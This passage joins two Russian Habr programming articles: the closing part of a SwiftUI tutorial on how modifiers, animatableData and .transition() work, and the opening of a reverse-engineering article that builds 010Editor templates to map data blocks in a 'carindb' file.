print("setting position: \(position) at time \(Date().timeIntervalSince(startDate))")
}
}
func body(content: Content) -> some View {
...
}
...
}
```

Вот теперь все правильно. Сообщения в консоли помогают понять, что работает действительно наша анимация, и .animation(nil) внутри модификатора ей совершенно не мешает. Но давайте все же разбираться, как именно это работает.
### Для начала, нужно понять, что же такое модификатор.
Вот у нас есть View. Как я говорил в предыдущей части, это структура с хранимыми параметрами и инструкцией по сборке. Эта инструкция, по большому счету, содержит не последовательность действий, коей является обычный код, который мы пишем в не-декларативном стиле, а простой перечень. В нем перечислены другие View, примененные к ним модификаторы, и контейнеры, в которые те включены. Контейнеры нам пока не интересны, а вот о модификаторах давайте поговорим подробнее.
Модификатор, это опять таки структура с хранимыми параметрами, и инструкцией по обработке View. Это фактически такая же инструкция как у View — мы можем применять другие модификаторы, использовать контейнеры (как например, я использовал GeometryReader чуть выше) и даже другие View. Вот только у нас есть входящий content, и мы должны его как-то изменить с помощью этой инструкции. Параметры модификаторов — это часть инструкции. Но самое интересное, что они хранятся.
В предыдущей статье я говорил, что инструкция сама по себе не хранится, что она выбрасывается каждый раз после обновления View. Все так, но есть нюанс. В результате работы этой инструкции мы получаем не совсем картинку, как я говорил ранее — это было упрощение. Модификаторы не исчезают после работы этой инструкции. Они так и остаются существовать, пока существует родительская View.
### Немного примитивных аналогий
Как бы мы в декларативном стиле описали стол? Ну, мы бы перечислили 4 ножки и столешницу. Объединили бы их в какой-то контейнер, и с помощью некоторых модификаторов прописали бы, как они друг с другом скрепляются. Например, к каждой ножке указали бы ориентацию по отношению к столешнице, и положение — какая ножка к какому углу приколочена. Да, инструкцию мы после сборки можем выбросить, но гвозди останутся в столе. Так и модификаторы. На выходе из функции body у нас не совсем стол. С помощью body мы создаем элементы стола (view), и крепежные элементы (модификаторы), и раскладываем все это по ящичкам. Сам стол собирает робот. Какой крепеж ты положишь в ящик к каждой ножке, такой стол у тебя и получится.
Функция .modifier(BorderPosition(position: position)), с помощью которой мы превратили структуру BorderPosition в модификатор, лишь кладет дополнительный винтик в ящичек к ножке стола. Структура BorderPosition и есть этот винтик. Рендер, в момент отрисовки, берет этот ящик, достает из него ножку (Rectangle() в нашем случае), и последовательно получает все модификаторы из списка, с сохраненными в них значениями. Функция body каждого модификатора, это инструкция, как этим винтиком прикрутить ножку к столешнице, а сама структура с хранимыми свойствами, это и есть тот винтик.
Почему это важно понимать именно в контексте анимации? Потому что анимация, позволяет изменять параметры одного модификатора не затрагивая других, после чего заново отрендерить изображение. Если вы сделаете то же самое с помощью изменения каких-то `@State` параметров — это вызовет повторную инициализацию вложенных View, структур-модификаторов и так далее, всего по цепочке. А анимация — нет.
На самом деле, когда мы при нажатии кнопки изменяем значение position — оно меняется. Сразу и до конца. Никаких промежуточных состояний в самой переменной не хранится, чего нельзя сказать о модификаторе. Для каждого нового кадра значения параметров модификатора меняется согласно прогрессу текущей анимации. Если анимация длится 1 секунду, то каждую 1/60 долю секунды (iphone показывает именно такое количество кадров в секунду) значение animatableData внутри модификатора будет изменяться, затем оно же будет прочитано рендером для отрисовки, после чего, еще через 1/60 долю секунды будет изменено снова, и снова прочитано рендером.
Что характерно, мы сначала получаем конечное состояние всей View, запоминаем его, и только потом механизм анимации начинает подсовывать в модификатор интерполированные значения position. Начальное состояние уже нигде не хранится. Где-то в недрах SwiftUI хранится только разница между начальным и конечным состоянием. Эта разница, каждый раз умножается на долю прошедшего времени. Именно так рассчитывается интерполированное значение, которое впоследствии и подставляется в animatableData.
*Разница = Стало — Было*
*ТекущееЗначение = Стало — Разница \* (1 — ВремениПрошло)
ВремениПрошло = ВремяСНачалаАнимации / ДлительностьАнимации*
ТекущееЗначение нужно рассчитать столько раз, сколько кадров нам нужно показать.
Почему не используется “Было” в явном виде? Дело в том, что SwiftUI не хранит исходное состояние. Хранится только разница: так, в случае какого-то сбоя, можно просто отключить анимацию, и перейти к актуальному состоянию “стало”.
Данный подход позволяет сделать анимацию реверсивной. Допустим, где-то посредине одной анимации, пользователь снова нажал какую-то кнопку, и мы снова изменили значение этой же переменной. В этом случае, все что нам нужно сделать, чтобы красиво обыграть это изменение, это в качестве “Было” взять ТекущееЗначение внутри анимации на момент нового изменения, запомнить новую Разницу, и начать новую анимацию исходя из нового “Стало” и новой “Разницы”. Да, на самом деле эти переходы от одной анимации к другой могут быть чуть сложнее, чтобы имитировать инерцию, но смысл, я думаю, понятен.
Что интересно, так это то, что анимация каждый кадр запрашивает текущее значение внутри модификатора (используя геттер). Это, как можно заметить по служебным записям в логе, отвечает за состояние “Стало”. Затем, с помощью сеттера мы устанавливаем новое состояние, текущее для данного кадра. После этого, для следующего кадра снова запрашивается текущее значение из модификатора — и оно снова “Стало”, т.е. конечное значение к которому движется анимация. Вероятно, для анимации используются копии структур-модификаторов, и для получения значения “Стало” используется геттер одной структуры (настоящего модификатора актуальной View), а сеттер другой (временного модификатора используемого для анимации). Я не придумал способа как в этом удостовериться, но по косвенным признакам все выглядит именно так. Так или иначе, изменения внутри анимации никак не сказываются на хранимом значении структуры модификатора настоящей View. Если у вас есть идеи, как выяснить точно, что именно происходит с геттером и сеттером, пишите об этом в комментариях, я обновлю статью.
### Несколько параметров
До этого момента у нас был только один параметр для анимации. Может возникнуть вопрос, а как быть, если в модификатор передается больше одного параметра? А если их оба требуется анимировать одновременно? Вот как с модификатором frame(width: height:) например. Мы ведь можем одновременно изменить и ширину и высоту данной View, и хотим чтобы изменение происходило одной анимацией, как это сделать? AnimatableData параметр ведь один, что в него подставить?
Если разобраться, то к animatableData у Apple только одно требование. Тип данных, который вы в него подставляете должен удовлетворять протоколу VectorArithmetic. Этот протокол требует об объекта обеспечения минимальных арифметических операций, которые необходимы для того чтобы можно было сформировать отрезок из двух значений, и интерполировать точки внутри этого отрезка. Операции, необходимые для этого — сложение, вычитание и умножение. Сложность в том, что мы должны производить эти операции с одним объектом, хранящим в себе несколько параметров. Т.е. мы должны весь перечень наших параметров упаковать в некий контейнер, который будет представлять собой вектор. Apple предоставляют такой объект из коробки, и предлагают нам пользоваться готовым решением для не очень сложных случаев. Он называется AnimatablePair.
Изменим немного задачу. Нам нужен новый модификатор, который будет не только двигать зеленую полосу, но и изменять ее высоту. Это будут два независимых параметра модификатора. Я не буду приводить полный код всех изменений, которые для этого нужно сделать, его вы можете посмотреть на гитхабе в файле SimpleBorderMove. Покажу только сам модификатор:
```
struct TwoParameterBorder: AnimatableModifier {
var position: CGFloat
var height: CGFloat
let startDate: Date = Date()
public var animatableData: AnimatablePair {
get {
print("animation read position: \(position), height: \(height)")
return AnimatablePair(position, height)
}
set {
self.position = newValue.first
print("animating position at \(position)")
self.height = newValue.second
print("animating height at \(height)")
}
}
init(position: CGFloat, height: CGFloat){
self.position = position
self.height = height
}
func body(content: Content) -> some View {
GeometryReader{geometry in
content
.animation(nil)
.offset(x: -geometry.size.width / 2 + geometry.size.width \* self.position, y: 0)
.frame(height: self.height \* (geometry.size.height - 20) + 20)
}
}
}
```

Добавил еще ползунок, и кнопку рандомного изменения обоих параметров сразу в родительской view SimpleView, но там ничего интересного, так что за полным кодом добро пожаловать на гитхаб.
Все работает, мы действительно получаем согласованное изменение пары параметров, упакованных в AnimatablePair кортеж. Неплохо.
Ничего не смущает в этой реализации? Лично я напрягся, увидев вот такую конструкцию:
```
self.position = newValue.first
self.height = newValue.second
```
Я ведь нигде не указывал, какой из этих параметров должен идти первым, а какой вторым. Как вообще SwiftUI решает, какое значение запихнуть в first, а какое в second? Ну не имена параметров функции же сопоставляет с именами атрибутов структуры?
Первой идеей был порядок следования атрибутов в параметрах функции и их типов, как это происходит с @EnvironmentObject. Там мы тоже просто кладем значения в ящик, не присваивая им никаких ярлыков, и затем достаем их оттуда, также никаких ярлыков не указывая. Там имеет значение тип, а в рамках одного типа — порядок. В каком порядке положили в ящик, в таком же и доставайте. Я перепробовал разный порядок аргументов функции, порядок аргументов инициализации структуры, порядок атрибутов самой структуры, в общем побился головой об стену, но так и не смог запутать SwiftUI чтобы он начал анимировать позицию значениями высоты и наоборот.
Тогда-то до меня доперло. Я сам указываю, какой параметр будет первым, а какой вторым в геттере. SwiftUI вообще не обязательно знать, как именно мы инициализируем эту структуру. Он может получить значение animatableData до изменения, получить его же после изменения, вычислить разницу между ними, и эту же разницу, масштабированную пропорционально интервала прошедшего времени, вернуть нам в сеттер. Ему вообще не нужно ничего знать о самом значении внутри AnimatableData. И если ты не напутаешь с порядком следования переменных в двух соседних строчках, то все будет в порядке, какой бы сложной ни была структура остального кода.
Но давайте проверим. Мы ведь можем создать свой контейнер-вектор (ох люблю я это, создавать свою реализацию существующих объектов, вы это еще по прошлой статье могли заметить).

Описываем элементарную структуру, заявляем поддержку протокола VectorArithmetic, раскрываем ошибку о несоответствии протоколу, нажимаем fix, и получаем объявление всех требуемых функций и вычислимых параметров. Осталось только наполнить их.
Таким же образом наполняем наш объект требуемыми методами для протокола AdditiveArithmetic (VectorArithmetic включает в себя и его поддержку).
```
struct MyAnimatableVector: VectorArithmetic{
static func - (lhs: MyAnimatableVector, rhs: MyAnimatableVector) -> MyAnimatableVector {
MyAnimatableVector(position: lhs.position - rhs.position, height: lhs.height - rhs.height)
}
static func + (lhs: MyAnimatableVector, rhs: MyAnimatableVector) -> MyAnimatableVector {
MyAnimatableVector(position: lhs.position + rhs.position, height: lhs.height + rhs.height)
}
mutating func scale(by rhs: Double) {
self.position = self.position * CGFloat(rhs)
self.height = self.height * CGFloat(rhs)
}
var magnitudeSquared: Double{
Double(self.position * self.position) + Double(self.height * self.height)
}
static var zero: MyAnimatableVector{
MyAnimatableVector(position: 0, height: 0)
}
var position: CGFloat
var height: CGFloat
}
```
* Думаю, зачем нужны + и — очевидно.
* scale — это функция масштабирования. Мы берем разницу “Было — Стало”, и умножаем ее на текущую стадию показа анимации (от 0 до 1). “Стало + Разница \* (1 — Стадия) ” и будет текущее значение, которое мы должны подсунуть в animatableData
* Zero, вероятно, нужно для инициализации новых объектов, значения которых будут использоваться для анимации. Анимация использует .zero в самом начале, но я не смог разобраться как именно. Впрочем, не дума что это важно.
* magnitudeSquared — это скалярное произведение данного вектора с самим собой. Для двумерного пространства, это означает длину вектора возведенную в квадрат. Вероятно, это используется для возможности сравнить два объекта между собой не поэлементно, а целиком. Вроде бы для целей анимации не используется.
Вообще говоря, в поддержку протокола входят так же и функции “-=” “+=”, но для структуры они могут быть сгенерированы автоматически в таком виде
```
static func -= (lhs: inout MyAnimatableVector, rhs: MyAnimatableVector) {
lhs = lhs - rhs
}
static func += (lhs: inout MyAnimatableVector, rhs: MyAnimatableVector) {
lhs = lhs + rhs
}
```
Для наглядности, я изложил всю эту логику в виде схемы.
[](https://habrastorage.org/webt/zl/ag/q4/zlagq42atcapum-br2sj00ikubu.png)
Картинка кликабельна.
Красным выделено то, что мы получаем в процессе анимации — каждый следующий тик (1/60 секунды) таймер выдает новое значение t, и мы, в setter нашего модификатора получаем новое значение animatableData. Примерно так и работает анимация под капотом. При этом, важно понимать, что модификатор, это хранимая структура, и для показа анимации используется копия актуального модификатора с новым, актуальным состоянием.
### Почему AnimatableData может быть только структурой
Есть еще один момент. Вы не сможете использовать классы в качестве объекта AnimatableData. Формально, вы можете описать для класса все необходимые методы соответствующего протокола, но это не взлетит, и вот почему. Как известно, класс — это ссылочный тип данных, а структура — тип данных основанный на значениях. Когда вы создаете одну переменную на основе другой, в случае класса, вы копируете ссылку на этот объект, а в случае структуры, вы создаете новый объект на основе значений имеющегося. Вот небольшой пример иллюстрирующий это различие:
```
struct TestStruct{
var value: CGFloat
mutating func scaled(by: CGFloat){
self.value = self.value * by
}
}
class TestClass{
var value: CGFloat
func scaled(by: CGFloat){
self.value = self.value * by
}
init(value: CGFloat){
self.value = value
}
}
var stA = TestStruct(value: 5)
var stB = stA
stB.scaled(by: 2)
print("structs: a = \(stA.value), b = \(stB.value))") //structs: a = 5.0, b = 10.0)
var clA = TestClass(value: 5)
var clB = clA
clB.scaled(by: 2)
print("classes: a = \(clA.value), b = \(clB.value))") //classes: a = 10.0, b = 10.0)
```
С анимацией происходит ровно то же самое. У нас есть AnimatableData объект, представляющий разницу между “было” и “стало”. Нам нужно вычислить часть этой разницы, чтобы отразить на экране. Для этого мы должны скопировать эту разницу и умножить ее на число, представляющее текущую стадию анимации. В случае со структурой, это не повлияет на саму разницу, а в случае с классом — повлияет. Первый же кадр, который мы отрисовываем — это состояние “было”. Для этого, мы должны вычислить Стало + Разница \* ТекущаяСтадия — Разница. В случае класса, в первом же кадре мы умножить разницу на 0, обнуляя ее, и все последующие кадры отрисовываются так, что разница = 0. т.е. анимация вроде бы отрисовывается исправно, но фактически мы видим мгновенный переход из одного состояния в другое, как будто никакой анимации нет.
Наверное можно написать какой-то низкоуровневый код, создающий новые адреса памяти для результата умножения — но зачем? Можно просто пользоваться структурами — они для того и созданы.
Для желающих досконально разобраться в том, как именно SwiftUI вычисляет промежуточные значения, какими именно операциями и в какой момент, в [проекте](https://github.com/FranchukAndrei/SwiftUIAnimation) понатыкано сообщений в консоль. К тому же, я там вставил sleep 0.1 секунду для имитации ресурсоемких вычислений внутри анимации, развлекайтесь :)
### Анимация появления на экране: .transition()
До этого момента, мы говорили об анимации изменения значения, передаваемого в модификатор или форму. Это довольно сильные инструменты. Но есть еще один инструмент, который также использует анимацию — это анимация появления и исчезновения View.
В прошлой статье мы говорили о том, что в декларативном стиле if-else, это вовсе не управление потоком выполнения кода в рантайме, а скорее view Шрёдингера. Это контейнер содержащий одновременно две View, который решает, какую из них показать в соответствии с определенным условием. Если вы упускаете блок else, то вместо второй view показывается EmptyView.
Переключение между этими двумя View также можно анимировать. Для этого используется модификатор .transition().
```
struct TransitionView: View {
let views: [AnyView] = [AnyView(CustomCircleTestView()), AnyView(SimpleBorderMove())]
@State var currentViewInd = 0
var body: some View {
VStack{
Spacer()
ZStack{
ForEach(views.indices, id: \.self){(ind: Int) in
Group{
if ind == self.currentViewInd{
self.views[ind]
}
}
}
}
HStack{
ForEach(views.indices, id: \.self){(ind: Int) in
RoundedRectangle(cornerRadius: 10)
.fill(ind == self.currentViewInd ? Color.green : Color.gray)
.overlay(
Text("\(ind + Int(1))"))
.onTapGesture{
withAnimation{
self.currentViewInd = ind
}
}
}
}
.frame(height: 50)
Spacer()
}
}
}
```
Давайте смотреть, как это работает. Прежде всего, мы заранее, еще на этапе инициализации родительской view создали и поместили несколько View в массив. Массив имеет тип AnyView, поскольку элементы массива должны иметь один и тот же тип, иначе их не получиться использовать в ForEach. Opaque result type из предыдущей [статьи](https://habr.com/ru/post/485548/), помните?
Далее, мы прописали перебор индексов этого массива, и для каждого из них выводим view по этому индексу. Мы вынуждены так делать, а не перебирать сразу View, потому, что для работы с ForEach нужно каждому элементу присваивать внутренний идентификатор, чтобы SwiftUI мог перебирать содержимое коллекции. Как альтернатива, нам бы пришлось в каждой View создавать реквизит-идентификатор, но зачем, если можно использовать индексы?
Каждую view из коллекции мы оборачиваем в условие, и показываем только в том случае, если активна именно она. Однако, конструкция if-else просто так здесь не может существовать, компилятор принимает ее за управление потоком, поэтому мы заключаем все это в Group для того чтобы компилятор точно понимал, что это именно View, а если точнее, инструкция для ViewBuilder создать опциональный контейнер ConditionalContent.
Теперь, при изменении значения currentViewInd, SwiftUI скрывает предыдущую активную view, и показывает текущую. Как вам такая навигация внутри приложения?

Все что осталось сделать, это поместить изменение currentViewInd в обертку withAnimation, и переключение между окнами станет плавным.
Добавим модификатор .transition, указав в качестве параметра .scale. Это сделает анимацию появления и исчезновения каждой из этих view иной — с использованием масштабирования, а не прозрачности, используемой SwiftUI по умолчанию.
```
ForEach(views.indices, id: \.self){(ind: Int) in
Group{
if ind == self.currentViewInd{
self.views[ind]
.transition(.scale)
}
}
}
```

Обратите внимание, view появляются и исчезают с одинаковой анимацией, только исчезновение прокручивается в обратном порядке. На самом деле, мы можем по отдельности назначать анимацию как для появления, так и для исчезновения view. Для этого используется асимметричный transition.
```
Group{
if ind == self.currentViewInd{
self.views[ind]
.transition(.asymmetric(
insertion: insertion: AnyTransition.scale(scale: 0.1, anchor: .leading).combined(with: .opacity),
removal: .move(edge: .trailing)))
}
}
```

Для появления на экране используется та же .scale анимация, но теперь мы уточнили параметры ее использования. Она начинается не с нулевого размера (точки), а с размера 0.1 от обычного. И стартовая позиция маленького окошка находится не по центру экрана, а сдвинута к левому краю. Кроме того, за появление отвечает не один transition, а целых два. Их можно комбинировать с помощью .combined(with:). В данном случае, мы добавили прозрачности.
Исчезновение view теперь отрисовывается другой анимацией — смахиванием за правый край экрана. Я сделал анимацию чуть медленнее, чтобы вы успели рассмотреть это.
И как всегда, мне не терпится написать свой вариант транзитной анимации. Это еще проще чем анимированные формы или модификаторы.
```
struct SpinTransitionModifier: ViewModifier {
let angle: Double
let anchor: UnitPoint
func body(content: Content) -> some View {
content
.rotationEffect(Angle(degrees: angle), anchor: anchor)
.clipped()
}
}
extension AnyTransition {
static func spinIn(anchor: UnitPoint) -> AnyTransition {
.modifier(
active: SpinTransitionModifier(angle: -90, anchor: anchor),
identity: SpinTransitionModifier(angle: 0, anchor: anchor))
}
static func spinOut(anchor: UnitPoint) -> AnyTransition {
.modifier(
active: SpinTransitionModifier(angle: 90, anchor: anchor),
identity: SpinTransitionModifier(angle: 0, anchor: anchor))
}
}
```

Для начала мы пишем обычный модификатор в который передаем некое число — угол поворота в градусах, а также точку, относительно которой этот поворот происходит. Затем, мы расширяем тип AnyTransition двумя функциями. Можно было бы и одной, но так мне показалось удобнее. Я посчитал, что проще назначить говорящие имена каждой из них, чем управлять градусами поворота непосредственно в самой View.
Тип AnyTransition имеет статический метод modifier, в который мы передаем два модификатора, а получаем объект AnyTransition, описывающий плавный переход от одного состояния, к другому. identity — это модификатор обычного состояния анимируемой View. Active — это состояние начала анимации для появления view, или окончания анимации для исчезновения, т.е. другой конец отрезка, состояния внутри которого будут интерполированы.
Итак, spinIn подразумевает, что я буду использовать ее для появления view из-за границ экрана (или выделенного для View пространства) путем вращения по часовой стрелке вокруг указанной точки. spinOut подразумевает что view будет исчезать точно так же, вращаясь вокруг той же точки, так же по часовой.
По моей задумке, если использовать одну и ту же точку для появления и исчезновения View, получится эффект вращения всего экрана вокруг этой точки.
Вся анимация строится на стандартной механике модификаторов. Если вы пишите полностью кастомный модификатор, вы должны реализовать требования протокола AnimatableModifier, как мы поступили ранее с TwoParameterBorder, или использовать внутри него встроенные модификаторы, которые предоставляют собственную дефолтную анимацию. Я в данном случае положился на встроенную анимацию .rotationEffect() внутри моего SpinTransitionModifier модификатора.
Модификатор .transition() всего лишь уточняет что считать точкой начала и конца анимации. Если для анимации обычного изменения мы должны запросить состояние AnimatableData до начала анимации, затем запросить AnimatableData модификатора актуального состояния, вычислить разницу, и затем анимировать уменьшение этой разницы от 1 до 0, то .transition() всего лишь меняет исходные данные. Вы не привязаны к состоянию вашей View, вы не опираетесь на нее. Вы в явном виде сами указываете начальное и конечное состояние, из них вы получаете AnimatableData, вычисляете разницу и анимируете ее. Затем, по окончанию анимации, на первый план выходит ваша актуальная View.
Кстати, identity — это модификатор который так и останется примененным к вашей View по окончанию анимации. В противном случае, ошибка здесь вела бы к скачкам при окончании анимации появления, и начале анимации исчезновения. Так что transition можно рассматривать как “два в одном” — применение определенного модификатора непосредственно ко View + возможность анимировать его изменения при возникновении и исчезновении View.
Честно сказать, этот механизм управления анимации мне кажется очень сильным, и мне немного жаль, что мы не можем использовать его для любой анимации. Я бы не отказался от такого для создания бесконечной замкнутой анимации. Впрочем, о ней мы поговорим уже в следующей статье.
Чтобы лучше видеть, как происходит само изменение, я заменил наши тестовые View на элементарные квадраты, подписанные номерами, и выделенные рамкой.
```
Group{
if ind == self.currentViewInd{
//self.views[ind]
Rectangle()
.fill(Color.gray)
.frame(width: 100, height: 100)
.border(Color.black, width: 2)
.overlay(Text("\(ind + 1)"))
.transition(.asymmetric(
insertion: .spinIn(anchor: .bottomTrailing),
removal: .spinOut(anchor: .bottomTrailing)))
}
}
```

А чтобы еще лучше можно было рассмотреть это движение, я убрал .clipped() из модификатора SpinTransitionModifier:
```
struct SpinTransitionModifier: ViewModifier {
let angle: Double
let anchor: UnitPoint
func body(content: Content) -> some View {
content
.rotationEffect(Angle(degrees: angle), anchor: anchor)
//.clipped()
}
}
```

Кстати, теперь нужда в собственном модификаторе SpinTransitionModifier вообще отпала. Он был создан только ради того, чтобы объединить два модификатора, rotationEffect и clipped() в один, чтобы анимация поворота не выходила за рамки области, выделенной для нашей View. Теперь же, мы можем внутри .modifier() использовать непосредственно .rotationEffect(), посредник в виде SpinTransitionModifier нам не нужен.
### Когда умирают View
Интересный момент, это жизненный цикл View в случае помещения ее в if-else. View, хоть и инициирована, и записана в качестве элемента массива, не хранится в памяти. Все ее [State](https://habr.com/ru/users/state/) параметры сбрасываются на дефолтные в момент следующего появления на экране. Это почти то же самое что и инициализация. Несмотря на то, что сам объект-структура все еще существует, рендер убрал ее из своего поля зрения, для него ее нет. С одной стороны, это уменьшает использование памяти. Если у вас в массиве большое количество сложных View, рендер должен был бы все их постоянно отрисовывать, реагируя на изменения — это негативно влияло на производительность. Если я не ошибаюсь, до обновления XCode 11.3 так и было. Теперь же, не активные view выгружаются из памяти рендера.
С другой стороны, мы должны вынести всё важное состояние за рамки этой View. Для этого лучше всего использовать @EnvironmentObject переменные.
Возвращаясь к жизненному циклу, следует еще отметить, что модификатор .onAppear{}, если таковой прописан внутри данной View, срабатывает сразу же после изменения условия и появления View на экране, еще до того как анимация началась. Соответственно, onDisappear{} срабатывает после окончания анимации исчезновения. Имейте это в виду, если планируете их использовать вместе с transition-анимацией.
Что дальше?
-----------
Уф. Получилось довольно объемно, зато подробно, и, надеюсь, доходчиво. Честно говоря, я рассчитывал в рамках одной статьи рассказать еще и о радужной анимаци, но не смог вовремя остановиться с подробностями. Так что ждите продолжения.
В [следующей части](https://habr.com/ru/post/506672/) нас ожидает:
* использование градиентов: линейный, круговой и угловой — нам все пригодится
* Color — это вовсе не цвет: выбирайте с умом.
* зацикленная анимация: как запустить и как остановить, и как остановить немедленно (без анимации изменения анимации — да, такая тоже есть)
* текущая анимация потока: приоритеты, переопределения, разная анимация для разных объектов
* подробно о таймингах анимации: тайминги мы будем гонять и в хвост и в гриву, вплоть до собственной реализации timingCurve (ох, держите меня семеро:))
* как узнать текущий момент проигрываемой анимации
* Если SwiftUI не достаточно
Обо всем этом я буду подробно рассказывать на примере создания радужной анимации, как на картинке:

Я не стал идти легким путем, а собрал все грабли, до которых смог дотянуться, воплощая эту анимацию на описанных выше принципах. Рассказ об этом должен получиться весьма содержательным, и богатым на трюки и всевозможные хаки, о которых мало где писали, и которые пригодятся тем, кто решит стать первопроходцем в SwiftUI. | https://habr.com/ru/post/504198/ | null | ru | null |
# 01\. Сшей красное с красным, желтое с желтым, белое с белым. Наверняка будет хорошо
Статья является продолжением [Реверс черного тессеракта.](https://habr.com/ru/post/597625/) , без прочтения которой, единственный вопрос, на который именно тут дается ответ - "почему на КДПВ этого цикла статей везде картинки авторства [Евгения Тихоновича Мигунова](https://tass.ru/encyclopedia/person/migunov-evgeniy-tihonovich)?".
Отвечаю. Потому, что по странному совпадению, [всеми книгами](http://illustrator.indians.ru/artist/migunov.htm), которые он иллюстрировал, в детстве я зачитывался. Как художник, на мой взгляд, он великолепен, и выбранные цитаты его творчества, на мой взгляд, очень хорошо ложатся на темы конкретных статей. Единственное "но", его подходящие иллюстрации книг не всегда соответствуют строгому альбомному видению КДПВ Хабра. Посему, необрезанный оригинал я всё же приведу и под катом.
### Блок типа 0x0D
В первой части файл carindb нарезали на части, следующий шаг - выбрать какой-то из типов блоков и посмотреть его попристальнее.
Пока нет структуры данных, не выйдет построить семантику. Первичная задача: получить понимание, какие структуры образуют данные, какие типы у них, как соотносятся данные внутри между собой, угадать стандартные структуры, разметить, выбрав хоть какой то тип блока.
А потом - наверняка будет хорошо (с).
Напомню карту блоков из прошлой статьи, надо чем-то руководствоваться при выборе препарируемого типа.
```
0x00000000 12 1 0x00 15329
0x00000800 13 1 0x01 5279
0x00001000 07 1 0x02 5809
0x00001800 0B 1 0x03 5867
0x00002000 0A 1 0x04 --
0x00003000 0D 3 <--- 0x05 --
0x00010800 0C 692 0x06 5198
0x011F6000 0F 31 0x07 1
0x012EA000 0E 1114 0x08 26
0x02401800 11 145 0x09 7712
0x02763800 10 1524 0x0A 1
0x048A2000 08 1 0x0B 1
0x048A2800 09 9 0x0C 692
0x048BC800 06 5198 ---> 0x0D 3
0x055E0000 08 17 0x0E 1114
0x05620800 09 7192 0x0F 31
0x0643F800 00 15329 0x10 1524
0x127BF800 08 1 0x11 145
0x127C1000 09 169 0x12 1
0x1281C000 03 5867 0x13 1
0x13C2F000 08 1 0x14 324
0x13C30800 09 169 0x15 4097
0x13C8A800 02 5809 0x16 15817
0x15070800 08 1 0x17 --
0x15071000 09 54 0x18 --
0x1509C800 01 5279 0x19 --
0x16335000 08 1 0x1A --
0x16335800 09 86 0x1B --
0x16365800 16 15817 0x1C 1095
0x1C36A000 08 1 0x1D 114
0x1C36A800 09 26 0x1E --
0x1C37A000 15 4097 0x1F --
0x1E00A800 08 1
0x1E00B000 09 3
0x1E010000 1C 1095
0x1E6E5800 08 1
0x1E6E6000 09 3
0x1E6EA000 14 324
0x1E90D800 08 1
0x1E90E000 09 1
0x1E910800 1D 114
```
Например, возьму тип 0x0D - и от начала недалёк (смещение 0x3000), и всего три по количеству - не сильно много, но есть рядом разные представители того же типа для проверки гипотез разметки.
Поехали. В темплейте прыгаю на адрес 0x3000, и объявляю переменную block\_0x0D типа структуры BT\_0x0D, объявленной выше.
#### PTR и LIST
После указанного стрелочкой DWORD, заметьте, каждые 3 DWORD начинается явное повторение сходных значений. На картинке выше синим выделил второе из повторений, перед ним и после - явно что-то очень похожее.
Добавляю в структуру BT\_0x0D переменную UINT unknown с зеленым фоном, и после неё массив из 2042 структур BT\_0x0D\_\_triple, которая состоит из 3-х UINT разных цветов - удобно на глаз анализировать соответствие соседей. Количество 2024 подобрал, визуально контролируя окончание блока. (Во вкладке Variables раскрываю struct BT\_0x0D block\_0x0D, раскрываю дочернюю struct BL\_HEAD head, кликаю на строку uchar here\_last\_byte - и фокус в окне hex перемещается на самый конец данного блока. Меняю число элементов массива, нажимаю F5, применить темплейт, если перебор - закрашиваются hex после конца, уменьшить число, и пока не закрасятся значащие байты.)
Структуре BT\_0x0D добавляю локальную переменную size - расчетный размер блока в байтах.
Значение 2042 в шестнадцатеричной форме выглядит, как 0x7FA. А следующий сразу за head UINT unknown с зеленым фоном = 0x0c07fa.
Причем, и массив `array[0x7FA]` начинается со смещения 0x0c от начала блока. Пара значений: указатель на массив и количество элементов массива за указателем явно неспроста рядом.
Новый тип данных в "inc\_common.bt" PTR - указатель на данные внутри блока. Структура ищет у родительской переменную с размером структуры`exists(parentof(this).size)`, и если её значение больше size, цвет фона - красный и запись в лог о несоответствии значения возможному. Хоть какая-то проверка.
Объявляет `ushort ptr` - смещение относительно начала блока.
Если ptr ненулевой, и, если у родителя есть переменная с именем offset, по рассчитанному абсолютному адресу оставляет метку - байтик here на голубеньком фоне, кликая на него в Variables - в окне hex отобразится это место. Read\_PTR - отображается во вкладке Variables в колонке Values.
```
typedef struct{
if( exists(parentof(this).size) ){
if ( ReadUShort(FTell()) > parentof(this).size){
SetBackColor(cRed); // wrong pointer when bigger block size
Printf("ERR! hex off=%X PTR=0x%04X > block.size 0x%X\n",
FTell(),
ReadUShort(FTell()),
parentof(this).size); // Log situation
}
}
ushort ptr ; // relative offset pointer value
if(ptr){ // do if ptr != 0
if( exists(parentof(this).offset) ){ // absolute block begin offset
local DWORD curr\_position = FTell();
FSeek(parentof(this).offset + ptr); // jump to calc addr
byte here ; // make bookark
FSeek(curr\_position); // return
}
}
}PTR ;
string Read\_PTR(PTR &a){
local string s;
SPrintf(s, "0x%04X (0x%04X)",
a.ptr, // value, relative offset
parentof(a).offset + a.ptr); // absolute address
return s;
}
```
Новый тип данных в "inc\_common.bt" LIST - список указатель на начало массива и количество элементов. Локальные offset, size транзитом идут для следующей PTR ptr, но потом offset этой структуры
```
typedef struct{
local uint offset, size ; // block offset and size for next PTR ptr
if( exists(parentof(this).offset) ){
offset = parentof(this).offset; // start block offset
}
if( exists(parentof(this).size) ){
size = parentof(this).size; // parent block size
}
PTR ptr; // ptr to first list item
offset = ptr.ptr + offset; // absolute addr of list begin
ushort cnt ; // items quantity
}LIST ;
string Read\_LIST(LIST &a){
local string s;
SPrintf(s, "0x%04X (0x%04X) :cnt:%i(%Xh)",
a.ptr.ptr, a.offset, a.cnt, a.cnt );
return s;
}
```
И вот теперь в структуре BT\_0x0D переменную UINT unknown с зеленым фоном заменяю на LIST p\_data, правя количество элементов `BT_0x0D__triple main_array[cnt]` на p\_data.cnt, массиву добавлю атрибут optimize=false - иначе 010Editor схитрит, всем расчетным элементам присваивая значения первого. И в структуре парсинга блока BT\_0x0D последним добавлю яркий byte after\_parsed\_block\_info - и визуально в окне hex видно, где окончился парсинг, и прыгнуть на неё выбором в Variables можно.
В самой структуре BT\_0x0D\_\_triple тоже изменения, при сохраненном размере:
* Первый UINT unknown1 в структуре - BL\_ADDR, как адреса блоков они все валидны.
* Сразу за адресом, похоже, char ch, его значения лежат в промежутке, что и ASCII кода символов от '0' до 'z'.
* За ним еще один char seems\_always\_eq\_1 - вставлю проверку, а правда ли всегда seems\_always\_eq\_1 == 1
* UINT unknown3 остается по-прежнему
* Завершает внутренности структуры 16битный aligment: явно данные выравнивают по границе 32бита.
```
typedef struct{
BL_ADDR bl_type_0c;
char ch; // chars
ubyte seems_always_eq_1; //
if(seems_always_eq_1 != 1) Printf("%X i!=1 %i( %X )\n",
